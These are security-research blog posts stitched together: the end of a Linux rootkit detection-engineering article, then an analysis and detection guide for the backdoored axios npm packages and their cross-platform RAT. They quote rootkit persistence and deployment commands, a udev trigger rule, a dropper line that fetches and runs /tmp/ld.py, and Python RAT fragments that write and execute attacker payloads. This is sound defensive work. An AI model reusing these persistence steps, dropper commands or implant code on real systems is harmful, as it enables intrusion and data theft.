Modifying the /etc/ld.so.preload, /etc/ld.so.conf, or the /etc/ld.so.conf.d/ configuration files allow rootkits to persist globally across users and sessions (more information on this persistence vector is available in Linux Detection Engineering - A Continuation on Persistence Mechanisms). Once written, the dynamic linker will continue injecting the malicious shared object unless these configurations are explicitly reverted. These methods are persistent by design. Detection strategies mirror those described in the previous section and rely on monitoring file creation or modification events in these paths.

Kernel-space rootkits – LKM persistence

Similar to userland rootkits, LKMs are not persistent by default. An attacker must explicitly configure the system to reload the malicious module on boot. This is typically achieved by leveraging legitimate kernel module loading mechanisms:

Modules file: modules

This file lists kernel modules that should be loaded automatically during system startup. Adding a malicious .ko filename here ensures that modprobe will load it upon boot. This file is located at /etc/modules.

Configuration directory for modprobe

This directory contains configuration files for the modprobe utility. Attackers may use aliasing to disguise their rootkit or autoload it when a specific kernel event occurs (e.g., when a device is probed). These modprobe configuration files are located at /etc/modprobe.d/, /run/modprobe.d/, /usr/local/lib/modprobe.d/, /usr/lib/modprobe.d/, and /lib/modprobe.d/.

Configure kernel modules to load at boot: modules-load.d

These configuration files specify which modules to load early in the boot process and are located at /etc/modules-load.d/, /run/modules-load.d/, /usr/local/lib/modules-load.d/, and /usr/lib/modules-load.d/.

To detect all of the persistence techniques listed above, a detection rule similar to the one below can be created:

file where event.action in ("rename", "creation") and file.path like (
  "/etc/modules",
  "/etc/modprobe.d/*",
  "/run/modprobe.d/*",
  "/usr/local/lib/modprobe.d/*",
  "/usr/lib/modprobe.d/*",
  "/lib/modprobe.d/*",
  "/etc/modules-load.d/*",
  "/run/modules-load.d/*",
  "/usr/local/lib/modules-load.d/*",
  "/usr/lib/modules-load.d/*"
)

This pre-built rule that combines all of the paths listed above into a single detection rule is available here:

• Loadable Kernel Module Configuration File Creation

An example of a rootkit that automatically deploys persistence using this method is Singularity. Within its deployment, the following commands are executed:

read -p "Enter the module name (without .ko): " MODULE_NAME
CONF_DIR="/etc/modules-load.d"
mkdir -p "$CONF_DIR"
echo "[*] Setting up persistence..."
echo "$MODULE_NAME" > "$CONF_DIR/$MODULE_NAME.conf"

By default, this means that singularity.conf will be created as a new entry under /etc/modules-load.d/. Looking at telemetry, we detect this technique simply by monitoring for new file creations:

These directories are also used for benign LKMs and will therefore be prone to false positives. Another persistence method involves using a trigger- or schedule-based technique to load the kernel module by executing the loader.

Udev-based persistence – Reptile example

A less common but powerful persistence method involves abusing udev, the Linux device manager that handles dynamic device events. Udev executes rule-based scripts when specific conditions are met. A full breakdown of this technique is presented in Linux Detection Engineering - A Sequel on Persistence Mechanisms. The Reptile rootkit demonstrates this technique by installing a malicious udev rule under /etc/udev/rules.d/:

ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile"

This rule was likely used as inspiration by the Sedexp malware discovered by Levelblue. Here’s how the rule works:

• ACTION=="add": Triggers when a new device is added to the system.
• ENV{MAJOR}=="1": Matches devices with major number “1”, typically memory-related devices such as /dev/mem, /dev/null, /dev/zero, and /dev/random.
• ENV{MINOR}=="8": Further narrows the condition to /dev/random.
• RUN+="/lib/udev/reptile": Executes the Reptile loader binary when the above device is detected.

This rule establishes persistence by triggering the execution of a loader binary whenever the /dev/random device is loaded. As a widely used random number generator essential for numerous system applications and the boot process, this method is effective. Activation occurs only upon specific device events, and execution happens with root privileges through the udev daemon. To detect this technique, a detection rule similar to the one below can be created:

file where event.action in ("rename", "creation") and file.extension == "rules" and file.path like (
  "/lib/udev/*",
  "/etc/udev/rules.d/*",
  "/usr/lib/udev/rules.d/*",
  "/run/udev/rules.d/*",
  "/usr/local/lib/udev/rules.d/*"
)

We cover the creation and modification of these files via the following pre-built rules:

• Systemd-udevd Rule File Creation
• Potential Persistence via File Modification

General persistence mechanisms

In addition to kernel module loading paths, attackers may rely on more generic Linux persistence methods to reload userland or kernel-space rootkits via the loader:

Systemd: Create or append to a service/timer under any (e.g., /etc/systemd/system/) directory that supports the loader at boot.

file where event.action in ("rename", "creation") and file.path like (
  "/etc/systemd/system/*", "/etc/systemd/user/*",
  "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*",
  "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
  "/home/*.config/systemd/user/*", "/home/*.local/share/systemd/user/*",
  "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
) and file.extension in ("service", "timer")

Initialization scripts: Create or append to a malicious run-control (/etc/rc.local), SysVinit (/etc/init.d/), or Upstart (/etc/init/) script.

file where event.action in ("creation", "rename") and
file.path like (
  "/etc/init.d/*", "/etc/init/*", "/etc/rc.local", "/etc/rc.common"
)

Cron jobs: Create or append to a cron job that allows for repeated execution of a loader.

file where event.action in ("rename", "creation") and
file.path like (
  "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
  "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*",
  "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*",
  "/var/spool/anacron/*"
)

Sudoers: Create or append to a malicious sudoers configuration as a backdoor.

file where event.type in ("creation", "change") and
file.path like "/etc/sudoers*"

These methods are widely used, flexible, and often easier to detect using process lineage or file-modification telemetry.

The list of pre-built detection rules to detect these persistence techniques is listed below:

• Systemd Service Created
• Systemd Timer Created
• System V Init Script Created
• rc.local/rc.common File Creation
• Cron Job Created or Modified
• Sudoers File Activity
• Potential Persistence via File Modification

Rootkit defense evasion techniques

Although rootkits are, by definition, tools for defense evasion, many implement additional techniques to remain undetected during and after deployment. These methods are designed to avoid visibility in logs, evade endpoint detection agents, and interfere with common investigation workflows. The following section outlines key evasion techniques employed by modern Linux rootkits, categorized by their operational targets.

Attempts to remain stealthy upon deployment

Threat actors commonly focus on stealthy execution tactics from a forensics perspective. For example, a threat actor may store and execute its payloads from the /dev/shm shared-memory directory, as this is a fully virtual file system, and therefore the payloads will never touch disk. This is great from a forensics perspective, but as behavioral detection engineers, we find this behavior very suspicious and uncommon.

As an example, although not an actual threat actor, Singularity’s author suggests the following deployment method:

cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
sudo bash scripts/x.sh

There are several trip wires to be installed to detect this behavior with a nearly zero false-positive rate, starting with cloning a GitHub repository into the /dev/shm directory.

sequence by process.entity_id, host.id with maxspan=10s
  [process where event.type == "start" and event.action == "exec" and (
     (process.name == "git" and process.args == "clone") or
     (
       process.name in ("wget", "curl") and
       process.command_line like~ "*github*"
     )
  )]
  [file where event.type == "creation" and
   file.path like ("/tmp/*", "/var/tmp/*", "/dev/shm/*")]

Cloning directories in /tmp and /var/tmp is common, so these could be removed from this rule in environments where cloning repositories is common. The same activity in /dev/shm, however, is very uncommon.

The setup.sh script, called by the loader, continues by compiling the LKM in a /dev/shm/ subdirectory. Real threat actors generally do not compile on the host itself, however, it is not that uncommon to see this happen either way.

sequence with maxspan=10s
  [process where event.type == "start" and event.action == "exec" and
   process.name like (
     "*gcc*", "*g++*", "c++", "cc", "c99", "c89", "cc1*", "clang*",
     "musl-clang", "tcc", "zig", "ccache", "distcc"
   )] as event0
  [file where event.action == "creation" and file.path like "/dev/shm/*" and
   process.name like (
     "ld", "ld.*", "lld", "ld.lld", "mold", "collect2", "*-linux-gnu-ld*", 
     "*-pc-linux-gnu-ld*"
   ) and
   stringcontains~(event0.process.command_line, file.name)]

This endpoint logic detects the execution of a compiler, followed by the linker creating a file in /dev/shm (or a subdirectory).

And finally, since it cloned the whole repository in /dev/shm, and executed setup.sh and x.sh, we will observe process execution from the shared memory directory, which is uncommon in most environments:

process where event.type == "start" and event.action == "exec" and
process.executable like ("/dev/shm/*", "/run/shm/*")

These rules are available within the detection-rules and protections-artifacts repositories:

• Git Repository or File Download to Suspicious Directory
• Linux Compilation in Suspicious Directory
• Binary Executed from Shared Memory Directory

Masquerading as legitimate processes

To avoid scrutiny during process enumeration or system monitoring, rootkits often rename their processes and threads to match benign system components. Common disguises include:

• kworker, migration, or rcu_sched (kernel threads)
• sshd, systemd, dbus-daemon, or bash (userland daemons)

These names are chosen to blend in with the output of tools like ps, top, or htop, making manual detection more difficult. Examples of rootkits that leverage this technique include Reptile and PUMAKIT. Reptile generates unusual network events through kworker upon initialization:

network where event.type == "start" and event.action == "connection_attempted" 
and process.name like~ ("kworker*", "kthreadd") and not (
  destination.ip == null or
  destination.ip == "0.0.0.0" or
  cidrmatch(
    destination.ip,
    "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12",
    "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32",
    "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", 
    "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24",
    "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", 
    "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1",
    "FE80::/10", "FF00::/8"
  )
)

The example below shows Reptile’s port knocking functionality, where the kernel thread forks, changes its session ID to 0, and sets up the network connection:

Reptile is also seen to leverage the same kworker process to create files:

file where event.type == "creation" and
process.name like~ ("kworker*", "kthreadd")

PUMAKIT spawns kernel threads to execute userland commands through kthreadd, but similar activity has been observed through a kworker process in other rootkits:

process where event.type == "start" and event.action == "exec" and
process.parent.name like~ ("kworker*", "kthreadd") and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.args == "-c"

These kworker and kthreadd rules may generate false positives due to the Linux kernel's internal operations. These can easily be excluded on a per-environment basis, or additional command-line arguments can be added to the logic.

These rules are available in the detection-rules and protections-artifacts repositories:

• Network Activity Detected via Kworker
• Suspicious File Creation via Kworker
• Suspicious Kworker UID Elevation
• Shell Command Execution via Kworker

Additionally, malicious processes, such as an initial dropper or a persistence mechanism, may masquerade as kernel threads and leverage a built-in shell function to do so. Leveraging the exec -a command, any process can be spawned with a name of the attacker’s choosing. Kernel process masquerading can be detected through the following detection query:

process where event.type == "start" and event.action == "exec" and 
process.command_line like "[*]" and process.args_count == 1

This behavior is shown below, where several pieces of malware tried to masquerade as either a kernel worker or a web service process.

This technique is also commonly abused by threat actors leveraging The Hacker’s Choice (THC) toolkit, specifically upon deploying gsocket.

Rules related to kernel masquerading, and masquerading via exec -a generally, are available in the protections-artifacts repository:

• Process Masquerading as Kernel Process
• Potential Process Masquerading via Exec

Another technique seen in the wild, and also in Horse Pill, is the use of prctl to stomp its process name. To ensure this telemetry is available, a custom Auditd rule can be created:

-a exit,always -F arch=b64 -S prctl -k prctl_detection

And accompanied by the following detection logic:

process where host.os.type == "linux" and auditd.data.syscall == "prctl" and
auditd.data.a0 == "f"

Will allow for the detection of this technique. In the screenshot below, we can see telemetry examples of this technique being used, where the process.executable is gibberish, and prctl will then be used to masquerade on the system as a legitimate process.

This rule, including its setup instructions, is available here:

• Potential Process Name Stomping with Prctl

Although there are many ways to masquerade, these are the most common ones observed.

Log and audit cleansing

Many rootkits include routines that erase traces of their installation or activity from logs. One of these techniques is to clear the victim’s shell history. This can be detected in two ways. One method is to detect the deletion of the shell history file:

file where event.type == "deletion" and file.name in (
  ".bash_history", ".zsh_history", ".sh_history", ".ksh_history",
  ".history", ".csh_history", ".tcsh_history", "fish_history"
)

The second method is to detect process executions with command line arguments related to clearing the shell history:

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("rm", "echo") or
    (
      process.args == "ln" and process.args == "-sf" and
      process.args == "/dev/null"
    ) or
    (process.args == "truncate" and process.args == "-s0")
  )
  and process.command_line like~ (
    "*.bash_history*", "*.zsh_history*", "*.sh_history*", "*.ksh_history*",
    "*.history*", "*.csh_history*", "*.tcsh_history*", "*fish_history*"
  )
) or
(process.name == "history" and process.args == "-c") or
(
  process.args == "export" and
  process.args like~ ("HISTFILE=/dev/null", "HISTFILESIZE=0")
) or
(process.args == "unset" and process.args like~ "HISTFILE") or
(process.args == "set" and process.args == "history" and process.args == "+o")

Having both detection rules (process and file) active will enable a more robust defense-in-depth strategy.

Upon loading, rootkits may taint the kernel or generate out-of-tree messages that can be identified when parsing syslog and kernel logs. To erase their tracks, rootkits may delete these log files:

file where event.type == "deletion" and file.path in (
  "/var/log/syslog", "/var/log/messages", "/var/log/secure", 
  "/var/log/auth.log", "/var/log/boot.log", "/var/log/kern.log", 
  "/var/log/dmesg"
)

Or clear the kernel message buffer through dmesg:

process where event.type == "start" and event.action == "exec" and
process.name == "dmesg" and process.args in ("-c", "--clear")

An example of a rootkit that automatically cleans the dmesg is the bds rootkit, which loads by executing /opt/bds_elf/bds_start.sh:

Another means of clearing these logs is by using journalctl:

process where event.type == "start" and event.action == "exec" and
process.name == "journalctl" and
process.args like ("--vacuum-time=*", "--vacuum-size=*", "--vacuum-files=*")

This is a technique that was used by Singularity:

Another technique employed by Singularity’s loader script is the deletion of all files associated to the rootkit in case it cannot load, or once it completes its loading process. For more thorough deletion, the author chose the use of shred over rm. rm (remove) simply deletes the file's pointer, making it fast but allowing for data recovery. shred overwrites the file data multiple times with random data, ensuring it cannot be recovered. This makes the deletion more permanent but, at the same time, noisier from a behavior-detection point of view, since shred is not commonly used on most Linux systems.

process where event.type == "start" and event.action == "exec" and
process.name == "shred" and (
// Any short-flag cluster containing at least one of u/z, 
// and containing no extra "-" after the first one
process.args regex~ "-[^-]*[uz][^-]*" or
process.args in ("--remove", "--zero")
) and
not process.parent.name == "logrotate"

The regex above ensures that attempts to evade detection by combining or modifying flags become more difficult. Below is an example of Singularity looking for any files related to its deployment, and shredding them:

These file and log removal techniques can be detected via several out-of-the-box detection rules:

• System Log File Deletion
• Attempt to Clear Kernel Ring Buffer
• Attempt to Clear Logs via Journalctl
• File Deletion via Shred

Once a rootkit is finished clearing its traces, it may timestomp the files it altered to ensure no file modification trace is left behind:

process where event.type == "start" and event.action == "exec" and
process.name == "touch" and
process.args like (
  "-t*", "-d*", "-a*", "-m*", "-r*", "--date=*", "--reference=*", "--time=*"
)

An example of this is shown here, where a threat actor uses the /etc/ld.so.conf file’s timestamp as a reference time to the files on the /dev/shm drive in an attempt to blend in:

This is a technique that we have added coverage for via both detection rules and protection artifacts:

• Timestomping using Touch Command
• Timestomping Detected via Touch

Although there are always more techniques we did not discuss in this research, we are confident that this research will help deepen the understanding of the Linux rootkit landscape and its detection engineering.

Rootkit prevention techniques

Preventing Linux rootkits requires a layered defense strategy that combines kernel and userland hardening, strict access control, and continuous monitoring. Mandatory access control frameworks, such as SELinux and AppArmor, limit process behavior and userland persistence opportunities. Meanwhile, kernel hardening techniques, including Lockdown Mode, KASLR, SMEP/SMAP, and tools like LKRG, mitigate the risk of kernel-level compromise. Restricting kernel module usage by disabling dynamic loading or enforcing module signing further reduces common vectors for rootkit deployment.

Visibility into malicious behavior is enhanced through Auditd and file integrity monitoring for syscall and file activity, as well as through EDR solutions that identify and prevent suspicious runtime behaviors. Security is further strengthened by minimizing process privileges through seccomp-bpf, Linux capabilities, and the landlock LSM, thereby restricting syscall access and filesystem interactions.

Timely kernel and software updates, supported by live patching when necessary, close known vulnerabilities before they are exploited. Additionally, filesystem and device configurations should be hardened by remounting sensitive filesystems with restrictive flags and disabling access to kernel memory interfaces, such as /dev/mem and /proc/kallsyms.

No single control can prevent rootkits outright. A layered defense, combining configuration hardening, static and dynamic detection, and forensic readiness, remains essential.

Conclusion

In part one of this series, we examined how Linux rootkits operate internally, exploring their evolution, taxonomy, and techniques for manipulating user space and kernel space. In this second part, we translated that knowledge into practical detection strategies, focusing on the behavioral signals and runtime telemetry that expose rootkit activity.

While Windows malware continues to dominate the focus of commercial security vendors and threat research communities, Linux remains comparatively under-researched, despite powering the majority of the world’s cloud infrastructure, high-performance computing environments, and internet services.

Our analysis highlights that Linux rootkits are evolving. The increasing adoption of technologies such as eBPF, io_uring, and containerized Linux workloads introduces new attack surfaces that are not yet well understood or widely protected.

We encourage the security community to:

• Invest in Linux-focused detection engineering from both static and dynamic angles.
• Share research findings, proofs of concept, and detection strategies openly to accelerate collective knowledge among defenders.
• Collaborate across vendors, academia, and industry to push Linux rootkit defense toward the same maturity level achieved on Windows.

Only by collectively improving visibility, detection, and response capabilities can defenders stay ahead of this stealthy and rapidly evolving threat landscape.

Elastic Security Labs released initial triage and detection rules for the Axios supply-chain compromise. This is a detailed analysis of the RAT and payloads.

Introduction

Elastic Security Labs identified a supply chain compromise of the axios npm package, one of the most depended-upon packages in the JavaScript ecosystem with approximately 100 million weekly downloads. The attacker compromised a maintainer account and published backdoored versions that delivered a cross-platform Remote Access Trojan to macOS, Windows, and Linux systems through a malicious postinstall hook.

Key takeaways

• A compromised npm maintainer account (jasonsaayman) was used to publish two malicious versions of the widely used Axios HTTP client — 1.14.1 (tagged latest) and 0.30.4 (tagged legacy) — meaning a default npm install axios resolved to a backdoored package
• The malicious JavaScript deploys platform-specific stage-2 implants for macOS, Windows, and Linux
• All three stage-2 payloads are implementations of the same RAT — identical C2 protocol, command set, beacon cadence, and spoofed user-agent, written in PowerShell (Windows), C++ (macOS), and Python (Linux)
• The dropper performs anti-forensic cleanup by deleting itself and swapping its package.json with a clean copy, erasing evidence of the postinstall trigger from node_modules

Preamble

On March 30, 2026, Elastic Security Labs detected a supply chain compromise targeting the axios npm package through automated supply-chain monitoring. The attacker gained control of the npm account belonging to jasonsaayman, one of the project's primary maintainers, and published two backdoored versions within a 39-minute window.

The axios package is one of the most widely depended-upon HTTP client libraries in the JavaScript ecosystem. At the time of discovery, both the latest and legacy dist-tags pointed to compromised versions, ensuring that the majority of fresh installations pulled a backdoored release.

The malicious versions introduced a single new dependency: plain-crypto-js, a purpose-built package whose postinstall hook silently downloaded and executed platform-specific stage-2 RAT implants from sfrclak[.]com:8000.

What makes this campaign notable beyond its blast radius is the stage-2 tooling. The attacker deployed three parallel implementations of the same RAT — one each for Windows, macOS, and Linux — all sharing an identical C2 protocol, command structure, and beacon behavior. This isn't three different tools; it's a single cross-platform implant framework with platform-native implementations.

Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.

As the community flagged the compromise on social media, Elastic Security Labs shared early findings publicly to help defenders respond in real time.

This post covers the full attack chain: from the npm-level supply chain compromise through the obfuscated dropper, to the architecture of the cross-platform RAT and the meaningful differences between its three variants.

Campaign overview

The compromise is evident from the npm registry metadata. The maintainer email changed from jasonsaayman@gmail[.]com — present on all prior legitimate releases — to ifstap@proton[.]me on the malicious versions. The publishing method also changed:

The shift from a trusted OIDC publisher flow with SLSA provenance to a direct CLI publish with a changed email is a clear indicator of unauthorized access.

Timeline

• 2026-02-18 17:19 UTC — axios@0.30.3 published legitimately by jasonsaayman@gmail[.]com
• 2026-03-27 19:01 UTC — axios@1.14.0 published legitimately via GitHub Actions OIDC
• 2026-03-30 05:57 UTC — plain-crypto-js@4.2.0 published by nrwise (nrwise@proton.me) — clean decoy to build registry history
• 2026-03-30 23:59 UTC — plain-crypto-js@4.2.1 published by nrwise — malicious version with postinstall backdoor
• 2026-03-31 00:21 UTC — axios@1.14.1 published by compromised account — tagged latest
• 2026-03-31 01:00 UTC — axios@0.30.4 published by compromised account — tagged legacy

Affected packages

• axios@1.14.1 — Malicious, tagged latest at time of discovery
• axios@0.30.4 — Malicious, tagged legacy at time of discovery
• plain-crypto-js@4.2.0 — Clean decoy, published to build registry history
• plain-crypto-js@4.2.1 — Malicious, payload delivery vehicle (postinstall backdoor)

Safe versions: axios@1.14.0 (last legitimate 1.x release with SLSA provenance) and axios@0.30.3 (last legitimate 0.30.x release).

The attacker tagged both the latest and legacy channels, maximizing the blast radius across projects using either the current or legacy axios API.

Code analysis

Stage 1: The plain-crypto-js dropper

The entire delivery chain hinges on npm's postinstall lifecycle hook. Installing either compromised axios version pulls plain-crypto-js@^4.2.1 as a dependency, which declares:

"scripts": {
  "postinstall": "node setup.js"
}

This causes setup.js to execute automatically during npm install — no user interaction required.

The setup.js file uses a two-layer encoding scheme to conceal its behavior:

• Layer 1: String reversal followed by Base64 decoding
• Layer 2: XOR cipher using the key OrDeR_7077 with a position-dependent index (7 * i² % 10)

All critical strings, module names, URLs, shell commands are stored in an encoded array stq[] and decoded at runtime. The decoded contents reveal the operational infrastructure:

Platform-specific delivery

After decoding its string table, the dropper checks os.platform() and branches into one of three delivery routines. Each sends an HTTP POST to http://sfrclak[.]com:8000/6202033 with a platform-specific body — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux) — allowing the C2 to serve the correct payload from a single endpoint. The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs:

Anti-forensics

The dropper performs two cleanup actions:

1. Self-deletion: setup.js removes itself via fs.unlink(__filename)
2. Package manifest swap: A clean file named package.md (containing a benign version 4.2.0 configuration with no postinstall hook) is renamed to package.json, overwriting the malicious version

Post-incident inspection of node_modules/plain-crypto-js/package.json reveals no trace of the postinstall trigger. The malicious setup.js is gone. Only the lockfile and npm audit logs retain evidence.

Stage 2: Cross-platform RAT

The three stage-2 payloads: PowerShell for Windows, compiled C++ for macOS, Python for Linux are not three different tools. They are three implementations of the same RAT specification, sharing an identical C2 protocol, command set, message format, and operational behavior. The consistency strongly indicates a single developer or tightly coordinated team working from a shared design document.

Shared architecture

The following properties are identical across all three variants:

• C2 transport: HTTP POST
• Body encoding: Base64-encoded JSON
• User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
• Beacon interval: 60 seconds
• Session UID: 16-character random alphanumeric string, generated per-execution
• Outbound message types: FirstInfo, BaseInfo, CmdResult
• Inbound command types: kill, peinject, runscript, rundir
• Response command types: rsp_kill, rsp_peinject, rsp_runscript, rsp_rundir

The spoofed IE8/Windows XP user-agent string is particularly notable, it is anachronistic on all three platforms, and its presence on a macOS or Linux host is a strong detection indicator.

Initialization and reconnaissance

On startup, each variant:

1. Generates a session UID — 16 random alphanumeric characters, included in every subsequent C2 message
2. Detects OS and architecture — reports platform-specific identifiers (e.g., windows_x64, macOS, linux_x64)
3. Enumerates initial directories of interest (user profile, documents, desktop, config directories)
4. Sends a FirstInfo beacon containing the UID, OS identifier, and directory snapshot

After initialization, the implant enters the main loop. The first BaseInfo heartbeat includes a comprehensive system profile. The same categories of data are collected on all platforms, though the underlying APIs differ:

Subsequent heartbeats are lightweight, containing only a timestamp to confirm the implant is alive.

Command dispatch

The C2 response is parsed as JSON, and the type field determines the action. All three variants implement the same four commands:

kill — Self-termination. Sends an rsp_kill acknowledgment and exits. The Windows variant's persistence mechanism (registry key + batch file) survives the kill command unless explicitly cleaned up; the macOS and Linux variants have no persistence of their own.

runscript — Script/command execution. The operator's primary interaction command. Accepts a Script field (code to execute) and a Param field (arguments). When Script is empty, Param is run directly as a command. The execution mechanism is platform-native:

peinject — Binary payload delivery. Despite the Windows-centric naming ("PE inject"), all three platforms implement this as a way to drop and execute binary payloads:

The Windows implementation has in-memory execution with no file drop but without disabling AMSI which will certainly flag on the Assembly load. The macOS and Linux variants take the simpler approach of writing a binary to disk and executing it directly.

rundir — Directory enumeration. Accepts paths and returns detailed file listings (name, size, type, creation/modification timestamps, child count for directories). Allows the operator to interactively browse the filesystem.

Capability summary

Attribution

The macOS Mach-O binary delivered by the plain-crypto-js postinstall hook exhibits significant overlap with WAVESHAPER, a C++ backdoor tracked by Mandiant and attributed to UNC1069, a DPRK-linked threat cluster.

Conclusion

This campaign demonstrates the continued attractiveness of the npm ecosystem as a supply chain attack vector. By compromising a single maintainer account on one of the JavaScript ecosystem's most depended-upon packages, the attacker gained a delivery mechanism with potential reach into millions of environments.

The toolkit's most reliable detection indicator is also its most curious design choice: the IE8/Windows XP user-agent string hardcoded identically across all three platform variants. While it provides a consistent protocol fingerprint for C2 server-side routing, it is trivially detectable on any modern network — and is an immediate anomaly on macOS and Linux hosts.

Elastic Security Labs will continue monitoring this activity cluster and will update this post with any additional findings.

MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Defense Evasion
• Discovery
• Command and Control

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Supply Chain Compromise: Compromise Software Dependencies
• Command and Scripting Interpreter: JavaScript
• Command and Scripting Interpreter: PowerShell
• Command and Scripting Interpreter: AppleScript
• Command and Scripting Interpreter: Unix Shell
• Command and Scripting Interpreter: Python
• Boot or Logon Autostart Execution: Registry Run Keys
• Obfuscated Files or Information
• Masquerading
• Hidden Files and Directories
• Process Injection
• Indicator Removal: File Deletion
• System Information Discovery
• Process Discovery
• File and Directory Discovery
• Application Layer Protocol: Web Protocols
• Non-Standard Port
• Data Encoding: Standard Encoding
• Ingress Tool Transfer

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.elastic.co/security-labs/axios-supply-chain-compromise-detections

Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We have released a detailed analysis on the Axios compromise RAT and payloads.

Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.

Introduction

We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.

Elastic observed consistent execution patterns across impacted systems immediately after npm install of the malicious Axios versions (1.14.1, 0.30.4). The added dependency (plain-crypto-js@4.2.1) executed during postinstall and was quickly followed by a second-stage payload.

Across Linux, Windows, and macOS, the activity followed the same structure:

node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2

This results in a small but high-signal window where:

• node spawns a shell or interpreter
• a remote payload is fetched
• execution is detached from the original process

Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.

How Elastic Detects the Supply Chain Attack

This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.

Linux

The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:

node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... &

Which shows up as follows:

The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the Curl or Wget Spawned via Node.js detection rule.

event.category:process and
process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and 
(
  (
    process.name:(
      "bash" or "dash" or "sh" or "tcsh" or "csh" or  "zsh" or "ksh" or
      "fish" or "cmd.exe" or "bash.exe" or "powershell.exe"
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:("curl" or "wget" or "curl.exe" or "wget.exe")
)

This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the curl invocation that retrieves /tmp/ld.py from the remote server.

Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by Process Backgrounded by Unusual Parent.

event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&)

Which captures the second half of the chain:

sh -c "... && nohup python3 /tmp/ld.py ... &"

The payload is launched with nohup and backgrounded immediately using &, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.

After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint work() sends an initial FirstInfo message and then transitions into main_work(), which continuously reports host data and processes tasking:

while True:
    ps = print_process_list()

    data = {
        "hostname": get_host_name(),
        "username": get_user_name(),
        "os": os,
        "processList": ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)

On first check-in, it performs a targeted directory enumeration via init_dir_info() across user paths such as $HOME, .config, Documents, and Desktop, and builds a process listing directly from /proc, including usernames and start times.

Tasking is minimal but flexible. runscript supports arbitrary shell execution or base64-delivered Python via python3 -c, while peinject simply writes attacker-supplied bytes to a hidden file in /tmp and executes it:

file_path = f"/tmp/.{generate_random_string(6)}"
with open(file_path, "wb") as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode("utf-8")))

This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.

Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:

• Curl or Wget Spawned via Node.js
• Process Backgrounded by Unusual Parent

Windows

The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (C:\ProgramData\wt.exe). The following alert shows the process chain:

Where:

• wt.exe is a renamed copy of PowerShell.exe located in C:\ProgramData\wt.exe
• curl is used to retrieve a remote PowerShell script
• execution is performed via the renamed binary

We first observe the creation and use of the renamed interpreter. This is captured by Execution via Renamed Signed Binary Proxy, which flags signed system binaries executed from unexpected locations.

Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by Potential File Transfer via Curl for Windows, capturing the network retrieval stage driven from the scripted execution chain.

The second stage is a PowerShell-based RAT that beacons to its C2 (http[:]//sfrclak[.]com:8000/) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.

It establishes persistence via Run\MicrosoftUpdate registry key to execute a hidden bat script C:\ProgramData\system.bat:

The batch file dynamically retrieves and executes the payload in memory on login:

start /min powershell -w h -c "
